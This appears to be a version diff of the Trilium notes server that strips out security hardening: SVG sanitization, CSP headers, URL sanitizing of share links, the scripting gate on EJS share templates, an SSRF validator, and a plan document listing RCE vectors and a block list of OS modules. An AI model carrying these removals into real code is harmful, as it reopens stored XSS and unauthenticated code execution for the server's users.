* known-dangerous constructs rather than allowlisting, but combined with
* the CSP header this provides robust protection.
*/
export function sanitizeSvg(svg: string | Buffer): string {
let content = typeof svg === "string" ? svg : svg.toString("utf-8");
// 1. Remove dangerous elements and their contents entirely.
// Use a case-insensitive regex that handles self-closing and content-bearing tags.
for (const element of DANGEROUS_ELEMENTS) {
// Remove opening+closing tag pairs (including content between them)
const pairRegex = new RegExp(
`<${element}[\\s>][\\s\\S]*?<\\/${element}\\s*>`,
"gi"
);
content = content.replace(pairRegex, "");
// Remove self-closing variants
const selfClosingRegex = new RegExp(
`<${element}(\\s[^>]*)?\\/?>`,
"gi"
);
content = content.replace(selfClosingRegex, "");
}
// 2. Remove event handler attributes (onclick, onload, onerror, etc.)
// and dangerous URI attributes from all remaining elements.
content = content.replace(/<([a-zA-Z][a-zA-Z0-9-]*)((?:\s+[^>]*?)?)(\s*\/?>)/g,
(_match, tagName, attrs, closing) => {
if (!attrs || !attrs.trim()) {
return `<${tagName}${closing}`;
}
// Parse and filter attributes
const sanitizedAttrs = sanitizeAttributes(attrs);
return `<${tagName}${sanitizedAttrs}${closing}`;
}
);
// 3. Remove processing instructions that could be exploited
content = content.replace(/<\?xml-stylesheet[^?]*\?>/gi, "");
return content;
}
/**
* Sanitizes the attribute string of an SVG element by removing
* event handlers and dangerous URI values.
*/
function sanitizeAttributes(attrString: string): string {
// Match individual attributes: name="value", name='value', name=value, or standalone name
return attrString.replace(
/\s+([a-zA-Z_:][\w:.-]*)\s*(?:=\s*(?:"([^"]*)"|'([^']*)'|(\S+)))?/g,
(fullMatch, attrName, dblVal, sglVal, unquotedVal) => {
const lowerAttrName = attrName.toLowerCase();
const attrValue = dblVal ?? sglVal ?? unquotedVal ?? "";
// Remove all event handler attributes
if (EVENT_HANDLER_PATTERN.test(lowerAttrName)) {
return "";
}
// Check URI-bearing attributes for dangerous schemes
if (URI_ATTRIBUTES.has(lowerAttrName)) {
if (DANGEROUS_URI_PATTERN.test(attrValue)) {
return "";
}
}
// Block animation elements from targeting event handlers via attributeName
if (DANGEROUS_ANIMATION_ATTRIBUTES.has(lowerAttrName)) {
const targetAttr = attrValue.toLowerCase();
if (EVENT_HANDLER_PATTERN.test(targetAttr) || targetAttr === "href" || targetAttr === "xlink:href") {
return "";
}
}
return fullMatch;
}
);
}
/**
* Sets security headers appropriate for SVG responses.
* This provides defense-in-depth: even if SVG sanitization is somehow
* bypassed, the CSP header prevents script execution.
*/
export function setSvgHeaders(res: Response): void {
res.set("Content-Type", "image/svg+xml");
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
// Restrictive CSP that allows SVG rendering but blocks all script execution,
// inline event handlers, and plugin-based content.
res.set(
"Content-Security-Policy",
"default-src 'none'; style-src 'unsafe-inline'; img-src 'self' data:; font-src 'self' data:"
);
// Prevent SVG from being reinterpreted in a different MIME context
res.set("X-Content-Type-Options", "nosniff");
}
export default {
sanitizeSvg,
setSvgHeaders
};

View File

@@ -5,8 +5,6 @@ import eventService from "./events.js";
import entityConstructor from "../becca/entity_constructor.js";
import ws from "./ws.js";
import type { EntityChange, EntityChangeRecord, EntityRow } from "@triliumnext/commons";
import attributeService from "./attributes.js";
import { isScriptingEnabled } from "./scripting_guard.js";
interface UpdateContext {
alreadyErased: number;
@@ -93,18 +91,6 @@ function updateNormalEntity(remoteEC: EntityChange, remoteEntityRow: EntityRow |
preProcessContent(remoteEC, remoteEntityRow);
// When scripting is disabled, prefix dangerous attributes with 'disabled:'
// Same pattern as safeImport in attributes.ts
if (remoteEC.entityName === "attributes" && !isScriptingEnabled()) {
const attrRow = remoteEntityRow as Record<string, unknown>;
if (typeof attrRow.type === "string" && typeof attrRow.name === "string"
&& !attrRow.isDeleted
&& attributeService.isAttributeDangerous(attrRow.type, attrRow.name)) {
log.info(`Sync: disabling dangerous attribute '${attrRow.name}' (scripting is disabled)`);
attrRow.name = `disabled:${attrRow.name}`;
}
}
sql.replace(remoteEC.entityName, remoteEntityRow);
updateContext.updated[remoteEC.entityName] = updateContext.updated[remoteEC.entityName] || [];

View File

@@ -1,140 +0,0 @@
/**
* URL validation utilities to prevent SSRF (Server-Side Request Forgery) attacks.
*
* These checks enforce scheme allowlists and optionally block requests to
* private/internal IP ranges so that user-controlled URLs cannot be used to
* reach local files or internal network services.
*/
import { URL } from "url";
import log from "./log.js";
/**
* IPv4 private and reserved ranges that should not be reachable from
* server-side HTTP requests initiated by user-supplied URLs.
*/
const PRIVATE_IPV4_RANGES: Array<{ prefix: number; mask: number }> = [
{ prefix: 0x7F000000, mask: 0xFF000000 }, // 127.0.0.0/8 (loopback)
{ prefix: 0x0A000000, mask: 0xFF000000 }, // 10.0.0.0/8 (private)
{ prefix: 0xAC100000, mask: 0xFFF00000 }, // 172.16.0.0/12 (private)
{ prefix: 0xC0A80000, mask: 0xFFFF0000 }, // 192.168.0.0/16 (private)
{ prefix: 0xA9FE0000, mask: 0xFFFF0000 }, // 169.254.0.0/16 (link-local)
{ prefix: 0x00000000, mask: 0xFF000000 }, // 0.0.0.0/8 (current network)
];
/**
* Parse a dotted-decimal IPv4 address into a 32-bit integer, or return null
* if the string is not a valid IPv4 literal.
*/
function parseIPv4(ip: string): number | null {
const parts = ip.split(".");
if (parts.length !== 4) return null;
let result = 0;
for (const part of parts) {
const octet = Number(part);
if (!Number.isInteger(octet) || octet < 0 || octet > 255) return null;
result = (result << 8) | octet;
}
// Convert to unsigned 32-bit
return result >>> 0;
}
/**
* Returns true when the hostname is a private/internal IPv4 address, an IPv6
* loopback (::1), or an IPv6 unique-local address (fc00::/7).
*
* DNS resolution is NOT performed here; the check only applies when the
* hostname is already an IP literal. For full SSRF protection against DNS
* rebinding you would need an additional check after resolution, but
* blocking IP literals covers the most common attack vectors.
*/
function isPrivateIP(hostname: string): boolean {
// Strip IPv6 bracket notation that URL may retain.
const cleanHost = hostname.replace(/^\[|\]$/g, "");
// IPv6 checks
if (cleanHost === "::1") return true;
if (cleanHost.toLowerCase().startsWith("fc") || cleanHost.toLowerCase().startsWith("fd")) {
// fc00::/7 covers fc00:: through fdff::
return true;
}
// IPv4 check
const ipNum = parseIPv4(cleanHost);
if (ipNum !== null) {
for (const range of PRIVATE_IPV4_RANGES) {
if ((ipNum & range.mask) === (range.prefix >>> 0)) {
return true;
}
}
}
// "localhost" as a hostname (not an IP literal)
if (cleanHost.toLowerCase() === "localhost") {
return true;
}
return false;
}
/** Schemes that are safe for outbound HTTP(S) image downloads. */
const ALLOWED_HTTP_SCHEMES = new Set(["http:", "https:"]);
/**
* Validate that a URL is safe for server-side fetching (e.g. image downloads).
*
* Rules:
* 1. Only http: and https: schemes are permitted.
* 2. The hostname must not resolve to a private/internal IP range.
*
* Returns `true` when the URL passes all checks, `false` otherwise.
* Invalid / unparseable URLs also return `false`.
*/
export function isSafeUrlForFetch(urlStr: string): boolean {
try {
const parsed = new URL(urlStr);
if (!ALLOWED_HTTP_SCHEMES.has(parsed.protocol)) {
log.info(`URL rejected - disallowed scheme '${parsed.protocol}': ${urlStr}`);
return false;
}
if (isPrivateIP(parsed.hostname)) {
log.info(`URL rejected - private/internal IP '${parsed.hostname}': ${urlStr}`);
return false;
}
return true;
} catch {
log.info(`URL rejected - failed to parse: ${urlStr}`);
return false;
}
}
/**
* Validate that a base URL intended for an LLM provider API is using a safe
* scheme (http or https only).
*
* This is a lighter check than `isSafeUrlForFetch` because LLM base URLs are
* configured by authenticated administrators, so we only enforce the scheme
* restriction without blocking private IPs (which are legitimate for
* self-hosted services like Ollama).
*
* Returns `true` when the URL passes the check, `false` otherwise.
*/
export function isSafeProviderBaseUrl(urlStr: string): boolean {
try {
const parsed = new URL(urlStr);
if (!ALLOWED_HTTP_SCHEMES.has(parsed.protocol)) {
log.info(`LLM provider base URL rejected - disallowed scheme '${parsed.protocol}': ${urlStr}`);
return false;
}
return true;
} catch {
log.info(`LLM provider base URL rejected - failed to parse: ${urlStr}`);
return false;
}
}

View File

@@ -15,7 +15,6 @@ import BNote from "../becca/entities/bnote.js";
import assetPath, { assetUrlFragment } from "../services/asset_path.js";
import { generateCss, getIconPacks, MIME_TO_EXTENSION_MAPPINGS, ProcessedIconPack } from "../services/icon_packs.js";
import log from "../services/log.js";
import { isScriptingEnabled } from "../services/scripting_guard.js";
import options from "../services/options.js";
import utils, { getResourceDir, isDev, safeExtractMessageAndStackFromError } from "../services/utils.js";
import SAttachment from "./shaca/entities/sattachment.js";
@@ -195,13 +194,11 @@ function renderNoteContentInternal(note: SNote | BNote, renderArgs: RenderArgs)
t,
isDev,
utils,
sanitizeUrl,
...renderArgs,
};
// Check if the user has their own template.
// Skip user-provided EJS templates when scripting is disabled since EJS can execute arbitrary JS.
if (note.hasRelation("shareTemplate") && isScriptingEnabled()) {
if (note.hasRelation("shareTemplate")) {
// Get the template note and content
const templateId = note.getRelation("shareTemplate")?.value;
const templateNote = templateId && shaca.getNote(templateId);
@@ -306,9 +303,7 @@ function renderIndex(result: Result) {
for (const childNote of rootNote.getChildNotes()) {
const isExternalLink = childNote.hasLabel("shareExternalLink");
const rawHref = isExternalLink ? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
// Sanitize href to prevent javascript: / data: URI injection (CWE-79).
const href = isExternalLink ? escapeHtml(sanitizeUrl(rawHref ?? "")) : escapeHtml(rawHref ?? "");
const href = isExternalLink ? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
const target = isExternalLink ? `target="_blank" rel="noopener noreferrer"` : "";
result.content += `<li><a class="${childNote.type}" href="${href}" ${target}>${childNote.escapedTitle}</a></li>`;
}
@@ -412,10 +407,7 @@ function handleAttachmentLink(linkEl: HTMLElement, href: string, getNote: GetNot
const linkedNote = getNote(noteId);
if (linkedNote) {
const isExternalLink = linkedNote.hasLabel("shareExternalLink");
// Sanitize external links to prevent javascript: / data: URI injection (CWE-79).
const href = isExternalLink
? sanitizeUrl(linkedNote.getLabelValue("shareExternalLink") ?? "")
: `./${linkedNote.shareId}`;
const href = isExternalLink ? linkedNote.getLabelValue("shareExternalLink") : `./${linkedNote.shareId}`;
if (href) {
linkEl.setAttribute("href", href);
}

View File

@@ -3,7 +3,6 @@ import supertest from "supertest";
import { afterAll, beforeAll, beforeEach, describe, expect, it, vi } from "vitest";
import { safeExtractMessageAndStackFromError } from "../services/utils.js";
import config from "../services/config.js";
let app: Application;
@@ -41,19 +40,12 @@ describe("Share API test", () => {
});
it("renders custom share template", async () => {
// Custom EJS templates require scripting to be enabled
const originalEnabled = config.Scripting.enabled;
config.Scripting.enabled = true;
try {
const response = await supertest(app)
.get("/share/pQvNLLoHcMwH")
.expect(200);
expect(cannotSetHeadersCount).toBe(0);
expect(response.text).toContain("Content Start");
expect(response.text).toContain("Content End");
} finally {
config.Scripting.enabled = originalEnabled;
}
const response = await supertest(app)
.get("/share/pQvNLLoHcMwH")
.expect(200);
expect(cannotSetHeadersCount).toBe(0);
expect(response.text).toContain("Content Start");
expect(response.text).toContain("Content End");
});
});

View File

@@ -10,7 +10,6 @@ import type SNote from "./shaca/entities/snote.js";
import type SAttachment from "./shaca/entities/sattachment.js";
import { getDefaultTemplatePath, renderNoteContent } from "./content_renderer.js";
import utils from "../services/utils.js";
import { sanitizeSvg, setSvgHeaders } from "../services/svg_sanitizer.js";
import { isShareDbReady } from "./sql.js";
function assertShareDbReady(_req: Request, res: Response, next: NextFunction) {
@@ -113,9 +112,10 @@ function renderImageAttachment(image: SNote, res: Response, attachmentName: stri
}
}
const sanitized = sanitizeSvg(svgString);
setSvgHeaders(res);
res.send(sanitized);
const svg = svgString;
res.set("Content-Type", "image/svg+xml");
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
res.send(svg);
}
function render404(res: Response) {
@@ -145,13 +145,6 @@ function register(router: Router) {
addNoIndexHeader(note, res);
if (note.isLabelTruthy("shareRaw") || typeof req.query.raw !== "undefined") {
// For HTML and SVG content, add restrictive Content-Security-Policy
// to prevent stored XSS via script execution (CWE-79).
if (note.mime === "text/html" || note.mime === "image/svg+xml") {
res.setHeader("Content-Security-Policy", "default-src 'none'; style-src 'unsafe-inline'; img-src * data:; font-src * data:");
res.setHeader("X-Content-Type-Options", "nosniff");
}
res.setHeader("Content-Type", note.mime).send(note.getContent());
return;
@@ -231,17 +224,10 @@ function register(router: Router) {
}
if (image.type === "image") {
// normal image
res.set("Content-Type", image.mime);
addNoIndexHeader(image, res);
if (image.mime === "image/svg+xml") {
// SVG images require sanitization to prevent stored XSS
const content = image.getContent();
const sanitized = sanitizeSvg(typeof content === "string" ? content : content?.toString("utf-8") ?? "");
setSvgHeaders(res);
res.send(sanitized);
} else {
res.set("Content-Type", image.mime);
res.send(image.getContent());
}
res.send(image.getContent());
} else if (image.type === "canvas") {
renderImageAttachment(image, res, "canvas-export.svg");
} else if (image.type === "mermaid") {
@@ -264,17 +250,9 @@ function register(router: Router) {
}
if (attachment.role === "image") {
res.set("Content-Type", attachment.mime);
addNoIndexHeader(attachment.note, res);
if (attachment.mime === "image/svg+xml") {
// SVG attachments require sanitization to prevent stored XSS
const content = attachment.getContent();
const sanitized = sanitizeSvg(typeof content === "string" ? content : content?.toString("utf-8") ?? "");
setSvgHeaders(res);
res.send(sanitized);
} else {
res.set("Content-Type", attachment.mime);
res.send(attachment.getContent());
}
res.send(attachment.getContent());
} else {
res.status(400).json({ message: "Requested attachment is not a shareable image" });
}

View File

@@ -12,7 +12,6 @@ import host from "./services/host.js";
import buildApp from "./app.js";
import type { Express } from "express";
import { getDbSize } from "./services/sql_init.js";
import { isScriptingEnabled } from "./services/scripting_guard.js";
const MINIMUM_NODE_VERSION = "20.0.0";
@@ -82,14 +81,6 @@ async function displayStartupMessage() {
log.info(`💻 CPU: ${cpuModel} (${cpuInfos.length}-core @ ${cpuInfos[0].speed} Mhz)`);
}
log.info(`💾 DB size: ${formatSize(getDbSize() * 1024)}`);
if (isScriptingEnabled()) {
log.info("WARNING: Script execution is ENABLED. Scripts have full server access including " +
"filesystem, network, and OS commands. Only enable in trusted environments.");
} else {
log.info("Script execution is DISABLED. Set [Scripting] enabled=true in config.ini to enable.");
}
log.info("");
}

View File

@@ -9,16 +9,16 @@
"preview": "pnpm build && vite preview"
},
"dependencies": {
"i18next": "25.10.3",
"i18next": "25.8.18",
"i18next-http-backend": "3.0.2",
"preact": "10.29.0",
"preact-iso": "2.11.1",
"preact-render-to-string": "6.6.6",
"react-i18next": "16.6.0"
"react-i18next": "16.5.8"
},
"devDependencies": {
"@preact/preset-vite": "2.10.5",
"eslint": "10.1.0",
"@preact/preset-vite": "2.10.4",
"eslint": "10.0.3",
"eslint-config-preact": "2.0.0",
"typescript": "5.9.3",
"user-agent-data-types": "0.4.2",

View File

@@ -1,590 +0,0 @@
# RCE Hardening - Defense in Depth Implementation Plan
> **For Claude:** REQUIRED SUB-SKILL: Use superpowers:executing-plans to implement this plan task-by-task.
**Goal:** Prevent instant RCE from authenticated access by gating scripting behind a config flag, restricting `require()` to safe modules, adding auth to unauthenticated execution paths, and filtering dangerous attributes from sync.
**Architecture:** Add a `[Scripting]` section to config.ini with `enabled=false` default for server mode. Gate all script execution entry points behind this flag. Restrict `ScriptContext.require()` to a whitelist. Add auth middleware to `/custom/*`. Filter dangerous attributes during sync (same pattern as import's `safeImport`).
**Tech Stack:** TypeScript, Express middleware, Node.js `config.ini` system
---
## Task 1: Add `[Scripting]` config section
**Files:**
- Modify: `apps/server/src/services/config.ts` (add Scripting section to TriliumConfig, configMapping, and config object)
- Modify: `apps/server/src/assets/config-sample.ini` (add [Scripting] section)
**Step 1: Add Scripting section to TriliumConfig interface**
In `config.ts`, add to the `TriliumConfig` interface after `Logging`:
```typescript
/** Scripting and code execution configuration */
Scripting: {
/** Whether backend/frontend script execution is enabled (default: false for server, true for desktop) */
enabled: boolean;
/** Whether the SQL console is accessible (default: false) */
sqlConsoleEnabled: boolean;
};
```
**Step 2: Add configMapping entries**
Add after `Logging` in `configMapping`:
```typescript
Scripting: {
enabled: {
standardEnvVar: 'TRILIUM_SCRIPTING_ENABLED',
iniGetter: () => getIniSection("Scripting")?.enabled,
defaultValue: false,
transformer: transformBoolean
},
sqlConsoleEnabled: {
standardEnvVar: 'TRILIUM_SCRIPTING_SQLCONSOLEENABLED',
aliasEnvVars: ['TRILIUM_SCRIPTING_SQL_CONSOLE_ENABLED'],
iniGetter: () => getIniSection("Scripting")?.sqlConsoleEnabled,
defaultValue: false,
transformer: transformBoolean
}
}
```
**Step 3: Add to config object**
```typescript
Scripting: {
enabled: getConfigValue(configMapping.Scripting.enabled),
sqlConsoleEnabled: getConfigValue(configMapping.Scripting.sqlConsoleEnabled)
}
```
**Step 4: Update config-sample.ini**
Add at the bottom:
```ini
[Scripting]
# Enable backend/frontend script execution. WARNING: Scripts have full server access including
# filesystem, network, and OS commands via require('child_process'). Only enable if you trust
# all users with admin-level access to the server.
# Desktop builds override this to true automatically.
enabled=false
# Enable the SQL console (allows raw SQL execution against the database)
sqlConsoleEnabled=false
```
**Step 5: Commit**
```
feat(security): add [Scripting] config section with enabled=false default
```
---
## Task 2: Create scripting guard utility
**Files:**
- Create: `apps/server/src/services/scripting_guard.ts`
- Create: `apps/server/src/services/scripting_guard.spec.ts`
**Step 1: Write tests**
```typescript
// scripting_guard.spec.ts
import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
describe("ScriptingGuard", () => {
it("should throw when scripting is disabled", async () => {
vi.doMock("./config.js", () => ({
default: { Scripting: { enabled: false, sqlConsoleEnabled: false } }
}));
const { assertScriptingEnabled } = await import("./scripting_guard.js");
expect(() => assertScriptingEnabled()).toThrow("disabled");
});
it("should not throw when scripting is enabled", async () => {
vi.doMock("./config.js", () => ({
default: { Scripting: { enabled: true, sqlConsoleEnabled: false } }
}));
const { assertScriptingEnabled } = await import("./scripting_guard.js");
expect(() => assertScriptingEnabled()).not.toThrow();
});
it("should throw for SQL console when disabled", async () => {
vi.doMock("./config.js", () => ({
default: { Scripting: { enabled: true, sqlConsoleEnabled: false } }
}));
const { assertSqlConsoleEnabled } = await import("./scripting_guard.js");
expect(() => assertSqlConsoleEnabled()).toThrow("disabled");
});
});
```
**Step 2: Implement**
```typescript
// scripting_guard.ts
import config from "./config.js";
import { isElectron } from "./utils.js";
/**
* Throws if scripting is disabled. Desktop (Electron) always allows scripting.
*/
export function assertScriptingEnabled(): void {
if (isElectron || config.Scripting.enabled) {
return;
}
throw new Error(
"Script execution is disabled. Set [Scripting] enabled=true in config.ini or " +
"TRILIUM_SCRIPTING_ENABLED=true to enable. WARNING: Scripts have full server access."
);
}
export function assertSqlConsoleEnabled(): void {
if (isElectron || config.Scripting.sqlConsoleEnabled) {
return;
}
throw new Error(
"SQL console is disabled. Set [Scripting] sqlConsoleEnabled=true in config.ini to enable."
);
}
export function isScriptingEnabled(): boolean {
return isElectron || config.Scripting.enabled;
}
```
**Step 3: Run tests, verify pass**
**Step 4: Commit**
```
feat(security): add scripting guard utility
```
---
## Task 3: Gate script execution endpoints
**Files:**
- Modify: `apps/server/src/routes/api/script.ts` (add guard to exec, run, bundle endpoints)
- Modify: `apps/server/src/routes/api/sql.ts` (add guard to execute endpoint)
- Modify: `apps/server/src/routes/api/bulk_action.ts` (add guard to execute)
**Step 1: Gate `POST /api/script/exec` and `POST /api/script/run/:noteId`**
In `apps/server/src/routes/api/script.ts`, add at the top of `exec()` and `run()`:
```typescript
import { assertScriptingEnabled } from "../../services/scripting_guard.js";
async function exec(req: Request) {
assertScriptingEnabled();
// ... existing code
}
function run(req: Request) {
assertScriptingEnabled();
// ... existing code
}
```
**Step 2: Gate SQL console**
In `apps/server/src/routes/api/sql.ts`, add at the top of `execute()`:
```typescript
import { assertSqlConsoleEnabled } from "../../services/scripting_guard.js";
function execute(req: Request) {
assertSqlConsoleEnabled();
// ... existing code
}
```
**Step 3: Gate bulk action executeScript**
In `apps/server/src/services/bulk_actions.ts`, add guard inside the `executeScript` handler:
```typescript
import { assertScriptingEnabled } from "./scripting_guard.js";
executeScript: (action, note) => {
assertScriptingEnabled();
// ... existing code
}
```
**Step 4: Verify TypeScript compiles, run tests**
**Step 5: Commit**
```
feat(security): gate script/SQL execution behind Scripting.enabled config
```
---
## Task 4: Gate scheduler and event handler script execution
**Files:**
- Modify: `apps/server/src/services/scheduler.ts` (check isScriptingEnabled before running)
- Modify: `apps/server/src/services/handlers.ts` (check isScriptingEnabled in runAttachedRelations)
- Modify: `apps/server/src/routes/api/script.ts` (gate startup/widget bundle endpoints)
**Step 1: Gate scheduler**
In `scheduler.ts`, the `TRILIUM_SAFE_MODE` check already exists. Augment it with scripting check:
```typescript
import { isScriptingEnabled } from "./scripting_guard.js";
sqlInit.dbReady.then(() => {
if (!process.env.TRILIUM_SAFE_MODE && isScriptingEnabled()) {
setTimeout(cls.wrap(() => runNotesWithLabel("backendStartup")), 10 * 1000);
setInterval(cls.wrap(() => runNotesWithLabel("hourly")), 3600 * 1000);
setInterval(cls.wrap(() => runNotesWithLabel("daily")), 24 * 3600 * 1000);
// ...
}
});
```
**Step 2: Gate event handlers**
In `handlers.ts`, wrap `runAttachedRelations` with a scripting check:
```typescript
import { isScriptingEnabled } from "./scripting_guard.js";
function runAttachedRelations(note: BNote, relationName: string, originEntity: AbstractBeccaEntity<any>) {
if (!note || !isScriptingEnabled()) {
return;
}
// ... existing code
}
```
**Step 3: Gate frontend startup/widget bundles**
In `script.ts` (the route file), gate `getStartupBundles` and `getWidgetBundles`:
```typescript
import { isScriptingEnabled } from "../../services/scripting_guard.js";
function getStartupBundles(req: Request) {
if (!isScriptingEnabled()) {
return { scripts: [], superScripts: [] };
}
// ... existing code
}
```
**Step 4: Verify TypeScript compiles, run tests**
**Step 5: Commit**
```
feat(security): gate scheduler, event handlers, and frontend bundles behind Scripting.enabled
```
---
## Task 5: Add authentication to `/custom/*` routes
**Files:**
- Modify: `apps/server/src/routes/custom.ts` (add optional auth middleware)
**Step 1: Add auth check with opt-out**
The custom handler needs auth by default, but notes with `#customRequestHandlerPublic` label can opt out. Modify `handleRequest`:
```typescript
import auth from "./auth.js";
import { isScriptingEnabled } from "../services/scripting_guard.js";
function handleRequest(req: Request, res: Response) {
if (!isScriptingEnabled()) {
res.status(403).send("Script execution is disabled on this server.");
return;
}
// ... existing path parsing code ...
for (const attr of attrs) {
// ... existing matching code ...
if (attr.name === "customRequestHandler") {
const note = attr.getNote();
// Require authentication unless note has #customRequestHandlerPublic label
if (!note.hasLabel("customRequestHandlerPublic")) {
if (!req.session?.loggedIn) {
res.status(401).send("Authentication required for this endpoint.");
return;
}
}
// ... existing execution code ...
}
}
}
```
**Step 2: Add `customRequestHandlerPublic` to builtin attributes**
In `packages/commons/src/lib/builtin_attributes.ts`, add:
```typescript
{ type: "label", name: "customRequestHandlerPublic", isDangerous: true },
```
**Step 3: Verify TypeScript compiles**
**Step 4: Commit**
```
feat(security): require auth for /custom/* handlers by default, add #customRequestHandlerPublic opt-out
```
---
## Task 6: Restrict `require()` in ScriptContext
**Files:**
- Modify: `apps/server/src/services/script_context.ts` (add module whitelist)
**Step 1: Add module whitelist**
Replace the unrestricted `require()` fallback with a whitelist:
```typescript
// Modules that are safe for user scripts to require.
// These do NOT provide filesystem, network, or OS access.
const ALLOWED_MODULES = new Set([
// Trilium built-in modules (resolved via note titles, not Node require)
// -- these are handled before the fallback
// Safe utility libraries available in node_modules
"dayjs",
"marked",
"turndown",
"cheerio",
"axios", // already exposed via api.axios, but scripts may require it directly
"xml2js", // already exposed via api.xml2js
"escape-html",
"sanitize-html",
"lodash",
// Trilium-specific modules
"trilium:preact",
"trilium:api",
]);
// Modules that are BLOCKED even when scripting is enabled.
// These provide OS-level access that makes RCE trivial.
const BLOCKED_MODULES = new Set([
"child_process",
"cluster",
"dgram",
"dns",
"fs",
"fs/promises",
"net",
"os",
"path",
"process",
"tls",
"worker_threads",
"v8",
"vm",
]);
class ScriptContext {
// ... existing fields ...
require(moduleNoteIds: string[]) {
return (moduleName: string) => {
// First: check note-based modules (existing behavior)
const candidates = this.allNotes.filter((note) => moduleNoteIds.includes(note.noteId));
const note = candidates.find((c) => c.title === moduleName);
if (note) {
return this.modules[note.noteId].exports;
}
// Second: check blocked list
if (BLOCKED_MODULES.has(moduleName)) {
throw new Error(
`Module '${moduleName}' is blocked for security. ` +
`Scripts cannot access OS-level modules like child_process, fs, net, os.`
);
}
// Third: allow if in whitelist, otherwise block
if (ALLOWED_MODULES.has(moduleName)) {
return require(moduleName);
}
throw new Error(
`Module '${moduleName}' is not in the allowed modules list. ` +
`Contact your administrator to add it to the whitelist.`
);
};
}
}
```
**Step 2: Verify TypeScript compiles, run tests**
**Step 3: Commit**
```
feat(security): restrict require() in script context to whitelisted modules
```
---
## Task 7: Filter dangerous attributes from sync
**Files:**
- Modify: `apps/server/src/services/sync_update.ts` (add dangerous attribute filtering)
**Step 1: Add attribute filtering in `updateNormalEntity`**
After `preProcessContent(remoteEC, remoteEntityRow)` at line 92, before `sql.replace()` at line 94, add:
```typescript
import attributeService from "./attributes.js";
import { isScriptingEnabled } from "./scripting_guard.js";
import log from "./log.js";
// In updateNormalEntity, after preProcessContent:
if (remoteEC.entityName === "attributes" && !isScriptingEnabled()) {
const attrRow = remoteEntityRow as { type?: string; name?: string; isDeleted?: number };
if (attrRow.type && attrRow.name && !attrRow.isDeleted &&
attributeService.isAttributeDangerous(attrRow.type, attrRow.name)) {
// Prefix dangerous attributes when scripting is disabled, same as safeImport
log.info(`Sync: disabling dangerous attribute '${attrRow.name}' (scripting is disabled)`);
(remoteEntityRow as any).name = `disabled:${attrRow.name}`;
}
}
```
**Step 2: Verify TypeScript compiles**
**Step 3: Commit**
```
feat(security): filter dangerous attributes from sync when scripting is disabled
```
---
## Task 8: Restrict EJS share templates when scripting is disabled
**Files:**
- Modify: `apps/server/src/share/content_renderer.ts` (skip user EJS templates when scripting disabled)
**Step 1: Add scripting check before EJS rendering**
In `renderNoteContentInternal`, wrap the user template check:
```typescript
import { isScriptingEnabled } from "../services/scripting_guard.js";
// In renderNoteContentInternal, around lines 200-229:
if (note.hasRelation("shareTemplate") && isScriptingEnabled()) {
// ... existing EJS rendering code ...
}
```
When scripting is disabled, user-provided EJS templates are silently ignored and the default template is used instead. This prevents the unauthenticated RCE via share templates.
**Step 2: Verify TypeScript compiles**
**Step 3: Commit**
```
feat(security): skip user EJS share templates when scripting is disabled
```
---
## Task 9: Desktop auto-enable scripting
**Files:**
- Modify: `apps/server/src/services/config.ts` (override Scripting.enabled for Electron)
**Step 1: Auto-enable for desktop**
After the `config` object is built, add:
```typescript
import { isElectron } from "./utils.js";
// At the bottom, before export:
// Desktop builds always have scripting enabled (single-user trusted environment)
if (isElectron) {
config.Scripting.enabled = true;
config.Scripting.sqlConsoleEnabled = true;
}
```
Note: `isElectron` is already imported in utils.ts and is available. Alternatively, the `scripting_guard.ts` already checks `isElectron`, so this step may be redundant but makes the config object truthful.
**Step 2: Check if `isElectron` is available in config.ts scope**
If not available at module load time, the guard in `scripting_guard.ts` already handles this via `isElectron || config.Scripting.enabled`. This step can be skipped if circular import issues arise.
**Step 3: Commit**
```
feat(security): auto-enable scripting for desktop builds
```
---
## Task 10: Add log warnings when scripting is enabled
**Files:**
- Modify: `apps/server/src/services/scheduler.ts` or `apps/server/src/main.ts` (add startup warning)
**Step 1: Add startup log**
In the server startup path, after config is loaded:
```typescript
if (isScriptingEnabled()) {
log.info("WARNING: Script execution is ENABLED. Scripts have full server access including " +
"filesystem, network, and OS commands. Only enable in trusted environments.");
}
```
**Step 2: Commit**
```
feat(security): log warning when scripting is enabled at startup
```
---
## Summary of Protection Matrix
| Attack Vector | Before | After (scripting=false) | After (scripting=true) |
|---|---|---|---|
| `POST /api/script/exec` | Full RCE | **Blocked (403)** | RCE with restricted require() |
| `POST /api/bulk-action/execute` (executeScript) | Full RCE | **Blocked (403)** | RCE with restricted require() |
| `POST /api/sql/execute` | SQL execution | **Blocked (403)** | SQL execution |
| `ALL /custom/*` | Unauthenticated RCE | **Auth required + scripting blocked** | Auth required + restricted require() |
| `GET /share/` (EJS template) | Unauthenticated RCE | **Default template only** | RCE (user templates allowed) |
| `#run=backendStartup` notes | Auto-execute on restart | **Not executed** | Executed with restricted require() |
| Event handlers (`~runOnNoteChange` etc.) | Auto-execute | **Not executed** | Executed with restricted require() |
| Frontend startup/widget scripts | Auto-execute on page load | **Not sent to client** | Executed |
| Sync: dangerous attributes | Applied silently | **Prefixed with `disabled:`** | Applied normally |
| `require('child_process')` | Available | N/A (scripts don't run) | **Blocked** |
| `require('fs')` | Available | N/A (scripts don't run) | **Blocked** |
| Desktop (Electron) | Always enabled | Always enabled | Always enabled |

17
flake.lock generated
View File

@@ -20,11 +20,11 @@
},
"nixpkgs": {
"locked": {
"lastModified": 1774171785,
"narHash": "sha256-upDSNdH1WEL2Z0ISvRXTWk7rEndTxUcaTOLY9imJYa8=",
"lastModified": 1769184885,
"narHash": "sha256-wVX5Cqpz66SINNsmt3Bv/Ijzzfl8EPUISq5rKK129K0=",
"owner": "NixOS",
"repo": "nixpkgs",
"rev": "f8a13215c766347f3da9beef4cfc952eb23fa46e",
"rev": "12689597ba7a6d776c3c979f393896be095269d4",
"type": "github"
},
"original": {
@@ -43,16 +43,15 @@
]
},
"locked": {
"lastModified": 1774171918,
"narHash": "sha256-0OBrtBnowvYP/YMKh7GB1GX22ORK+2X771EVgT+1tsk=",
"owner": "TriliumNext",
"lastModified": 1749022118,
"narHash": "sha256-7Qzmy1snKbxFBKoqUrfyxxmEB8rPxDdV7PQwRiAR01o=",
"owner": "FliegendeWurst",
"repo": "pnpm2nix-nzbr",
"rev": "536d67261ffe7c91cb286c8581cc799a1b61e969",
